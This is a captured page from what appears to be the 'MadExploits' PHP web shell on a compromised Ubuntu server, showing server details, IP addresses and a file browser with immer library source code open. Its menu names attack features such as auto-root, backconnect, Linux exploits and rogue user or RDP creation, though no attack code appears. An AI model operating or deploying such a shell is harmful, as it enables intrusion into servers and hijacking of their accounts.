Linux ubuntu22 5.15.0-133-generic #144-Ubuntu SMP Fri Feb 7 20:47:38 UTC 2025 x86_64
nginx/1.18.0
: 128.199.27.159 | : 216.73.216.1
Cant Read [ /etc/named.conf ]
8.1.31
www-data
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
var /
www /
html /
quiz1 /
node_modules /
immer /
src /
core /
[ HOME SHELL ]
Name
Size
Permission
Action
current.ts
1.75
KB
-rw-rw-rw-
finalize.ts
5.29
KB
-rw-rw-rw-
immerClass.ts
6.69
KB
-rw-rw-rw-
proxy.ts
7.48
KB
-rw-rw-rw-
scope.ts
1.71
KB
-rw-rw-rw-
Delete
Unzip
Zip
${this.title}
Close
Code Editor : current.ts
import { die, isDraft, shallowCopy, each, DRAFT_STATE, get, set, ImmerState, isDraftable, Archtype, getArchtype, getPlugin } from "../internal" /** Takes a snapshot of the current state of a draft and finalizes it (but without freezing). This is a great utility to print the current state during debugging (no Proxies in the way). The output of current can also be safely leaked outside the producer. */ export function current<T>(value: T): T export function current(value: any): any { if (!isDraft(value)) die(22, value) return currentImpl(value) } function currentImpl(value: any): any { if (!isDraftable(value)) return value const state: ImmerState | undefined = value[DRAFT_STATE] let copy: any const archType = getArchtype(value) if (state) { if ( !state.modified_ && (state.type_ < 4 || !getPlugin("ES5").hasChanges_(state as any)) ) return state.base_ // Optimization: avoid generating new drafts during copying state.finalized_ = true copy = copyHelper(value, archType) state.finalized_ = false } else { copy = copyHelper(value, archType) } each(copy, (key, childValue) => { if (state && get(state.base_, key) === childValue) return // no need to copy or search in something that didn't change set(copy, key, currentImpl(childValue)) }) // In the future, we might consider freezing here, based on the current settings return archType === Archtype.Set ? new Set(copy) : copy } function copyHelper(value: any, archType: number): any { // creates a shallow copy, even if it is a map or set switch (archType) { case Archtype.Map: return new Map(value) case Archtype.Set: // Set will be cloned as array temporarily, so that we can replace individual items return Array.from(value) } return shallowCopy(value) }
Close